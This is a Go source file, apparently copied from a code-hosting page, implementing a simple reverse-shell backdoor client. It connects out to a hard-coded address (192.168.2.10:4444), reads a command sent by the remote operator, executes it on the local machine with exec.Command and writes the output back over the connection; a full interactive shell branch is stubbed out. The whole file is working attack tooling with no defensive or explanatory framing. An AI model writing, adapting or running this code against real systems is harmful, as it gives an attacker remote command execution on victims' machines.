58 lines
970 B
Go
58 lines
970 B
Go
package main
|
|
import (
|
|
"net"
|
|
"os/exec"
|
|
"strings"
|
|
)
|
|
|
|
type remoteAddr struct {
|
|
Addr string
|
|
}
|
|
|
|
func SetAddr() *remoteAddr {
|
|
return &remoteAddr {
|
|
Addr: "192.168.2.10:4444",
|
|
}
|
|
}
|
|
|
|
func (ra remoteAddr) CreateConn() {
|
|
conn, err := net.Dial("tcp", ra.Addr)
|
|
if err != nil {
|
|
return
|
|
}
|
|
buf := make([]byte,4096)
|
|
n, err := conn.Read(buf)
|
|
data := string(buf[:n])
|
|
mensaje := strings.TrimSpace(data)
|
|
partes := strings.Split(mensaje, " ")
|
|
comandoPrincipal := partes[0]
|
|
if comandoPrincipal != "shell" {
|
|
sendOutput(conn, partes)
|
|
} else {
|
|
//sendShell()
|
|
return
|
|
}
|
|
}
|
|
|
|
func sendOutput(conn net.Conn, partes []string) {
|
|
defer conn.Close()
|
|
comandoPrincipal := partes[0]
|
|
argumentos := partes[1:]
|
|
|
|
cmd := exec.Command(comandoPrincipal, argumentos...)
|
|
output, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
return
|
|
}
|
|
_, err = conn.Write(output)
|
|
if err != nil {
|
|
return
|
|
}
|
|
conn.Close()
|
|
}
|
|
|
|
func main() {
|
|
obj_reverConn := SetAddr()
|
|
obj_reverConn.CreateConn()
|
|
}
|